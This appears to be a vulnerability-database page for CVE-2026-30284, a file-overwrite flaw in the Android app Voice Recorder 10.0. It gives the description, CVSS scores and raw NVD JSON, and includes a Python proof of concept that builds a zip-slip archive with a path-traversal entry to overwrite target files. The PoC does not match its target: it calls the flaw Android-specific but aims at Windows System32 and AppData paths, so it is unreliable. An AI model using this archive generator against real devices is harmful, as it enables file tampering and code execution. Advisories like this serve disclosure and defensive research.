Security Vulnerability Report
中文
CVE-2026-30284 CVSS 8.6 HIGH

CVE-2026-30284

Published: 2026-03-31 16:16:30
Last Modified: 2026-04-06 15:11:01

Description

An arbitrary file overwrite vulnerability in UXGROUP LLC Voice Recorder v10.0 allows attackers to overwrite critical internal files via the file import process, leading to arbitrary code execution or information exposure.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:uxgroupllc:voice_recorder:10.0:*:*:*:*:android:*:* - VULNERABLE
UXGROUP LLC Voice Recorder 10.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os import zipfile # Conceptual Proof of Concept for CVE-2026-30284 # This script generates a malicious file designed to exploit arbitrary file overwrite # via the import functionality of UXGROUP LLC Voice Recorder v10.0. def create_exploit_zip(output_file, target_file, payload): """ Creates a zip file containing a file with a path traversal payload. """ try: with zipfile.ZipFile(output_file, 'w') as zf: # Use ZipInfo to construct a filename that escapes the import directory info = zipfile.ZipInfo(filename=target_file) info.compress_type = zipfile.ZIP_DEFLATED # Write the payload content zf.writestr(info, payload) print(f"[+] Exploit file created: {output_file}") print(f"[+] Target file for overwrite: {target_file}") print(f"[+] Payload content written.") except Exception as e: print(f"[-] Error creating exploit file: {e}") if __name__ == "__main__": # Example Payload: Overwriting a critical config or executable # Note: The actual path depends on the installation directory of the target app. # This is a hypothetical path traversal sequence. traversal_path = "../../../../../../Windows/System32/drivers/etc/hosts" # Or an application specific config file # traversal_path = "../../AppData/Roaming/VoiceRecorder/settings.ini" malicious_content = b"MALICIOUS_PAYLOAD_CONTENT" create_exploit_zip("malicious_import.zip", traversal_path, malicious_content)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30284", "sourceIdentifier": "[email protected]", "published": "2026-03-31T16:16:29.950", "lastModified": "2026-04-06T15:11:01.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An arbitrary file overwrite vulnerability in UXGROUP LLC Voice Recorder v10.0 allows attackers to overwrite critical internal files via the file import process, leading to arbitrary code execution or information exposure."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uxgroupllc:voice_recorder:10.0:*:*:*:*:android:*:*", "matchCriteriaId": "33CEA8DD-C154-4514-B536-E280CC6E06A1"}]}]}], "references": [{"url": "http://voice.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://appcraze.co/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Secsys-FDU/AF_CVEs/issues/25", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://secsys.fudan.edu.cn/", "source": "[email protected]", "tags": ["Not Applicable"]}]}}